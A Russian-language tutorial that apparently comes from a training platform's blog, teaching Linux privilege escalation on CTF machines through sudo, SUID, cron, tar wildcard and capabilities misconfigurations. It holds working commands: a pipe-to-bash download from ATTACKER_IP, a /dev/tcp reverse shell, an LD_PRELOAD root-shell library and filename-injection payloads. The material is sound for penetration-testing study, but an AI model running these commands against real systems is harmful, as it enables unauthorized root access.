
Последние полгода я целенаправленно разбирал CTF-машины на HackTheBox и TryHackMe — и заметил закономерность, которая повторяется с упрямой регулярностью: подавляющее большинство задач уровня Easy и Medium по Linux privesc сводятся к трём векторам — misconfigured sudo, забытый SUID-бинарь или writable cron-скрипт. Три команды после получения shell, десять минут на разбор вывода — и root. Проблема в том, что начинающие запускают LinPEAS, получают простыню на три экрана и тонут в выводе. Здесь я разложу каждый из трёх основных векторов повышения привилегий Linux для CTF: что искать, какой командой проверять, как эксплуатировать — и когда техника бесполезна.
Повышение привилегий — не первый шаг и не последний. В терминах MITRE ATT&CK это тактика Privilege Escalation, сидящая между Initial Access и последующими действиями: Persistence, Credential Access, Lateral Movement. На CTF-машине типичная цепочка выглядит так: Подробнее — в нашем руководстве по linux для пентестера.
www-data, node, пользовательский аккаунт)/root/root.txtЭтап 4 — цель этой статьи. Техники ATT&CK, которые разберём:
Перед атакой нужна разведка: System Owner/User Discovery (T1033) и System Information Discovery (T1082) — базовые команды, дающие контекст для выбора вектора.
Чтобы повторить примеры из статьи:
curl, wget, python3, nc). LinPEAS и pspy доставляются на целевую машину отдельно[Применимо: CTF, внутренний пентест, любая Linux-система с непривилегированным shell]
Прежде чем запускать LinPEAS (активно поддерживается, последний релиз — 2025, 16 000+ звёзд на GitHub), я выполняю четыре команды руками. Каждая бьёт в конкретный вектор, в сумме — 30 секунд:
Что могу через sudo: sudo -l — показывает, какие команды текущий пользователь может запускать с повышенными привилегиями. Если в выводе есть NOPASSWD и любой бинарь из GTFOBins — это первый кандидат. Без пароля, без задержки.
SUID-бинари в системе: find / -perm -4000 -type f 2>/dev/null — находит все файлы с установленным SUID-битом. Стандартные (mount, passwd, ping) — игнорируем. Всё нестандартное — потенциальный вектор.
Cron-задачи: cat /etc/crontab и ls -la /etc/cron.d/ — системные задачи планировщика. Ищем скрипты, запускаемые от root, к которым у текущего пользователя есть доступ на запись.
Capabilities: getcap -r / 2>/dev/null — бинари с установленными Linux capabilities. Capability cap_setuid на интерпретаторе (python, perl) — считай, root в кармане.
Дополнительно полезно глянуть: id (группы пользователя — docker, lxd, disk дают отдельные вектора), uname -a (версия ядра для kernel exploits), cat /etc/os-release (дистрибутив и версия). На некоторых CTF-машинах cat ~/.bash_history содержит подсказки — пароли, пути к конфигурациям, подозрительные команды. Я встречал боксы, где пароль root валялся прямо в истории.
Когда включать автоматику: LinPEAS запускаю после ручной разведки — когда четыре базовые команды ничего не дали. Скрипт проверяет сотни параметров: writable PATH-директории, утечки токенов в переменных окружения, capabilities на бинарях, NFS-шары с no_root_squash. Доставка на целевую машину: curl http://ATTACKER_IP:8080/linpeas.sh | bash или wget + chmod +x + запуск. Вывод маркируется цветом: красным и жёлтым — критические находки, с них и начинаем.
[Применимо: CTF, внутренний пентест. Требование: пользователь имеет хотя бы одну запись в sudoers]
Техника Sudo and Sudo Caching (T1548.003) — самый частый вектор повышения привилегий Linux CTF на уровне Easy. Механика простая: администратор через /etc/sudoers разрешает пользователю запускать определённые программы с правами root. Если программа позволяет выполнять произвольные команды (spawn shell, запись в файл, вызов внешних программ) — это прямой путь к root.
Первый шаг — sudo -l. Допустим, вывод: (root) NOPASSWD: /usr/bin/find. Флаг NOPASSWD — пароль не требуется. Дальше — GTFOBins (gtfobins.github.io — курируемый справочник Unix-бинарей, которые можно использовать для обхода локальных ограничений; проект активно поддерживается сообществом). Ищем раздел «Sudo» для find. Ответ: sudo find . -exec /bin/bash \; -quit — одна команда, и мы root. Флаг -exec у find выполняет произвольную команду для каждого найденного файла. Поскольку find запущен через sudo от root — shell тоже получает root-привилегии.
Кроме find, в GTFOBins задокументированы десятки опасных бинарей для sudo: vim, nano, less, awk, perl, python, ruby, env, man, bash. Каждый позволяет получить shell или записать данные в произвольный файл. Видите любой из них в выводе sudo -l с NOPASSWD — проверяйте GTFOBins немедленно. Для менее очевидных бинарей ищите возможность вызвать shell изнутри программы: в vim — :!/bin/bash, в less — !bash, в awk — system("/bin/bash").
Когда sudo-вектор не работает:
NOPASSWD отсутствует), и мы его не знаем(root) /usr/bin/find /var/log -name "*.log" — -exec добавить нельзяsecure_path и переменные окружения сброшены (актуально для LD_PRELOAD-вектора ниже)Иногда sudo -l показывает бинарь, которого нет в GTFOBins — apache2, кастомное приложение, service. Тут на помощь приходит LD_PRELOAD. Вектор работает только если в выводе sudo -l есть строка env_keep += LD_PRELOAD. Если переменные окружения наследуются через sudo — создаём shared object, который перехватывает загрузку:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
Компиляция: gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c. Запуск: sudo LD_PRELOAD=/tmp/pe.so apache2 — root shell. Функция _init() срабатывает до основного кода программы: вызывает setresuid(0,0,0) (установка UID/GID/EUID в 0, то есть root) и запускает bash с привилегиями.
Аналогичный подход — LD_LIBRARY_PATH: через ldd находим зависимости разрешённого бинаря, создаём shared object с именем одной из библиотек, указываем путь sudo LD_LIBRARY_PATH=/tmp apache2. Принцип тот же — наш код выполняется в контексте root.
Когда не работает: env_reset включён в sudo (по умолчанию в Ubuntu 20.04+, Debian 11+, CentOS 8+). В этом случае LD_PRELOAD сбрасывается перед запуском. На CTF-машинах эту настройку часто намеренно ослабляют — проверяйте вывод sudo -l на наличие env_keep.
[Применимо: CTF, внутренний пентест, legacy-системы без мониторинга]
SUID-бит (Set User ID upon execution) — специальное разрешение файла, при котором программа выполняется с правами владельца, а не того, кто её запустил. Если владелец — root и бинарь позволяет взаимодействовать с системой — вектор для техники Setuid and Setgid (T1548.001). В SigmaHQ есть правило proc_creation_lnx_setgid_setuid.yml, которое детектирует установку SUID/SGID через chmod — но на CTF-машинах мониторинга нет, так что действуем свободно.
Команда find / -perm -4000 -type f 2>/dev/null покажет полный список. Стандартные бинари — /usr/bin/mount, /usr/bin/passwd, /usr/bin/ping, /usr/bin/newgrp — норма, они требуют SUID для штатной работы. Нас интересует всё за пределами /usr/bin/ и /usr/sbin/: файлы в /opt/, /usr/local/bin/, /home/, пользовательских директориях. Если в /opt/ торчит какой-нибудь custom-backup с SUID — это подарок.
Алгоритм анализа нестандартного бинаря:
file /opt/custom-backup — тип файла (ELF, скрипт, символическая ссылка)strings /opt/custom-backup | head -30 — поиск вызовов внешних командltrace /opt/custom-backup 2>&1 (если доступен) — библиотечные вызовы, включая system() и popen()Если strings показывает вызов внешней команды без абсолютного пути (просто cp вместо /usr/bin/cp, просто service вместо /usr/sbin/service) — это PATH manipulation. Работает, когда SUID-бинарь вызывает команду через system() или popen() (они используют shell и переменную PATH). Если бинарь использует execve() с абсолютным путём — фокус не пройдёт.
Допустим, strings показал, что SUID-бинарь /opt/custom-backup вызывает cp без полного пути через system(). Создаём вредоносный cp в /tmp: записываем в файл #!/bin/bash и /bin/bash -p (флаг -p сохраняет effective UID). Делаем исполняемым: chmod +x /tmp/cp. Добавляем /tmp в начало PATH: export PATH=/tmp:$PATH. Запускаем SUID-бинарь: /opt/custom-backup. Бинарь ищет cp в PATH, находит наш скрипт первым, выполняет его с правами root — shell с привилегиями. Вся операция — минута.
Другой подход — подмена shared object: если через strace или ltrace видно, что SUID-бинарь загружает .so-файл из директории, доступной для записи — компилируем свою библиотеку с аналогичным именем, содержащую payload.
Когда не работает:
execve() с абсолютными путями — PATH игнорируется[Применимо: CTF уровня Medium, внутренний пентест. Cron-задачи требуют больше анализа, чем sudo или SUID]
Cron — планировщик задач в Linux. Если задача запускается от root и мы можем повлиять на то, что она выполняет — это повышение привилегий Linux CTF через мисконфигурацию. Задачи описываются в /etc/crontab, файлах в /etc/cron.d/, а также в пользовательских crontab (недоступных другим пользователям без root).
Три основных способа эксплуатации cron-задач (согласно blog.deephacking.tech): слабые права на файлы (File Permissions), отсутствие абсолютного пути (PATH), использование wildcard (*) в командах.
Простейший вектор. Проверяем cat /etc/crontab, находим строку: * * * * * root /usr/local/bin/cleanup.sh. Проверяем права: ls -la /usr/local/bin/cleanup.sh. Если файл writable для текущего пользователя или его группы — перезаписываем содержимое. Варианты payload: обратный shell (bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1), копирование /bin/bash в /tmp/bash с установкой SUID (cp /bin/bash /tmp/bash && chmod +s /tmp/bash), добавление пользователя с UID 0 в /etc/passwd.
Ждём выполнения задачи — интервал указан в crontab. Если каждую минуту, root shell или SUID-копия bash появится через 60 секунд. Можно пойти заварить чай.
Файл /etc/crontab содержит переменную PATH. Если cron-задача вызывает скрипт без абсолютного пути (просто overwrite.sh вместо /usr/local/bin/overwrite.sh), cron ищет файл по директориям из PATH. Если одна из директорий PATH доступна для записи (например, /home/user) и стоит раньше реального расположения скрипта — создаём одноимённый файл.
Пример: PATH=/home/user:/usr/local/sbin:/usr/local/bin в crontab, задача * * * * * root overwrite.sh. Создаём /home/user/overwrite.sh с payload: cp /bin/bash /tmp/bash && chmod +xs /tmp/bash. Делаем исполняемым: chmod +x ~/overwrite.sh. Через минуту в /tmp появляется bash с SUID-битом. Запускаем /tmp/bash -p — root. Cron нашёл наш скрипт раньше легитимного, потому что /home/user стоит первым в PATH.
Самый неочевидный вектор cron privilege escalation — и мой любимый на CTF. Если cron-задача использует tar с wildcard * — например, tar czf /tmp/backup.tar.gz * в некоторой директории — имена файлов интерпретируются как аргументы. У tar есть ключи --checkpoint и --checkpoint-action, позволяющие выполнить произвольную команду:
# В директории, откуда tar забирает файлы:
echo '#!/bin/bash' > shell.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> shell.sh
chmod +x shell.sh
touch "./--checkpoint=1"
touch "./--checkpoint-action=exec=sh shell.sh"
При выполнении cron-задачи tar обрабатывает файлы --checkpoint=1 и --checkpoint-action=exec=sh shell.sh как аргументы командной строки. Результат: shell.sh выполняется от root, в /tmp появляется bash с SUID. Запускаем /tmp/rootbash -p — root shell. Красота в том, что tar сам не подозревает подвоха — он честно обрабатывает «имена файлов», которые оказываются его же флагами.
Когда cron-вектора не работают:
tar запущен с -- (разделитель опций и файлов) перед файламиГлавная проблема с cron: пользовательские crontab'ы (добавленные через crontab -e для конкретного аккаунта) не отображаются в cat /etc/crontab и /etc/cron.d/. Без root-прав вы их не увидите. А они там есть — и иногда именно в них зарыт вектор.
Решение — pspy (GitHub: dominicbreuker/pspy, активно поддерживается, 5 000+ звёзд). Инструмент мониторит создание процессов через inotify на /proc без root-прав. Показывает, какие команды запускаются, от какого UID и в какое время.
Доставляем pspy на целевую машину, запускаем ./pspy64 (или ./pspy32 для 32-bit), ждём 2-5 минут. В выводе ищем строки с UID=0 — процессы от root. Если каждую минуту появляется /bin/sh -c /opt/scripts/backup.sh — это скрытая cron-задача. Дальше проверяем права на /opt/scripts/backup.sh и применяем один из трёх векторов выше.
Альтернатива pspy — systemd-таймеры: systemctl list-timers --all 2>/dev/null. На дистрибутивах с systemd (Ubuntu 18.04+, Debian 10+, CentOS 7+) таймеры могут использоваться вместо cron или параллельно с ним. Также полезно проверить /var/spool/cron/crontabs/ — иногда права позволяют читать файлы других пользователей.
[Применимо: CTF уровня Medium и выше, внутренний пентест]
Capabilities — механизм Linux, дающий программам отдельные привилегии root без полного SUID-бита. Вместо «всё или ничего» (как с SUID) можно выдать конкретное право. Для атакующего подвох в том, что бинарь не появится в выводе find -perm -4000, но всё равно позволит повысить привилегии. Тихий такой вектор.
Поиск: getcap -r / 2>/dev/null. Если вывод содержит /usr/bin/python3.8 = cap_setuid+ep — python может менять UID текущего процесса. GTFOBins, раздел «Capabilities» для python: python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' — root shell в одну строку.
Опасные capabilities помимо cap_setuid:
cap_dac_read_search — чтение любых файлов в системе (можно вытянуть /etc/shadow и сбрутить хеш root)cap_dac_override — запись в любые файлы (можно модифицировать /etc/passwd)cap_net_raw — перехват сетевого трафика (горизонтальное повышение привилегий, перехват учётных данных)cap_sys_admin — широкий набор привилегий, включая монтирование файловых системMITRE D3FEND рекомендует D3-CI (Configuration Inventory) и D3-AM (Access Modeling) как защитные меры для отслеживания SUID/capabilities (T1548.001) — но на CTF это не встречается.
Когда не работает: capabilities не установлены ни на одном нестандартном бинаре (чистая установка), или установлены capabilities без прямого пути к root (cap_net_bind_service — привязка к портам ниже 1024, бесполезна для privesc).
Порядок проверки, оптимизированный по вероятности успеха на CTF-задачах:
| Шаг | Команда | Что ищем | Время |
|---|---|---|---|
| 1 | sudo -l |
NOPASSWD + бинарь из GTFOBins | 30 сек |
| 2 | find / -perm -4000 -type f 2>/dev/null |
Нестандартный SUID-бинарь | 2-5 мин |
| 3 | cat /etc/crontab + ls /etc/cron.d/ |
Writable скрипт от root | 1-2 мин |
| 4 | getcap -r / 2>/dev/null |
cap_setuid на интерпретаторе | 30 сек |
| 5 | pspy | Скрытые cron-задачи | 3-5 мин |
| 6 | LinPEAS | Полный аудит: writable PATH, NFS, переменные окружения | 5-10 мин |
| 7 | uname -a + searchsploit |
Kernel exploits (крайняя мера) | 10+ мин |
На шагах 1-4 решается абсолютное большинство задач Easy и значительная часть Medium. Шаги 5-6 — когда прямых мисконфигураций нет и нужно копать глубже. Kernel exploits — последний вариант: они нестабильны, могут уронить машину и часто указывают на то, что вы пропустили более простой вектор.
Отдельного внимания заслуживает горизонтальное повышение привилегий: путь к root часто лежит через другого пользователя. Проверяйте /home/ — доступные для чтения файлы, SSH-ключи в .ssh/, пароли в .bash_history или конфигурационных файлах веб-приложений. На CTF-машинах типичен сценарий: www-data → user (через пароль в конфиге БД) → root (через sudo или SUID).
На одном из недавних боксов я нашёл именно такую цепочку: foothold через веб-приложение дал www-data, в конфиге MySQL нашёл пароль пользователя, а у того в sudo -l стоял NOPASSWD: /usr/bin/env. Одна команда sudo env /bin/bash — root за две минуты после foothold. Весь бокс занял минут двадцать.
За два года активного прохождения CTF-задач и нескольких десятков внутренних пентестов я пришёл к выводу, который мало кому нравится: повышение привилегий Linux — не про хитрые эксплойты ядра и не про zero-day. Это про банальные мисконфигурации, которые повторяются снова и снова. Администратор добавил NOPASSWD для удобства, разработчик оставил cron-скрипт с правами 777, DevOps-инженер не убрал SUID после отладки. Те же самые ошибки я вижу на реальных инфраструктурах — только там рядом стоит EDR и настроен мониторинг. Sigma-правило proc_creation_lnx_setgid_setuid.yml из SigmaHQ детектирует установку SUID-бита, file_event_lnx_persistence_sudoers_files.yml — модификацию sudoers. Но на CTF защиты нет, и эксплуатация сводится к методичной проверке четырёх команд.
Главная ошибка начинающих — перепрыгивание через этап анализа. Запустили LinPEAS, увидели красную строку, побежали эксплуатировать — а через час понимают, что не тот вектор. Decision tree выше существует именно для того, чтобы отсечь шум и двигаться от простого к сложному. На WAPT эту цепочку проходят в течение двух модулей с лабами — если чувствуете, что понимание формулы на бумаге есть, а руки не попадают в команды, это способ закрыть разрыв.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...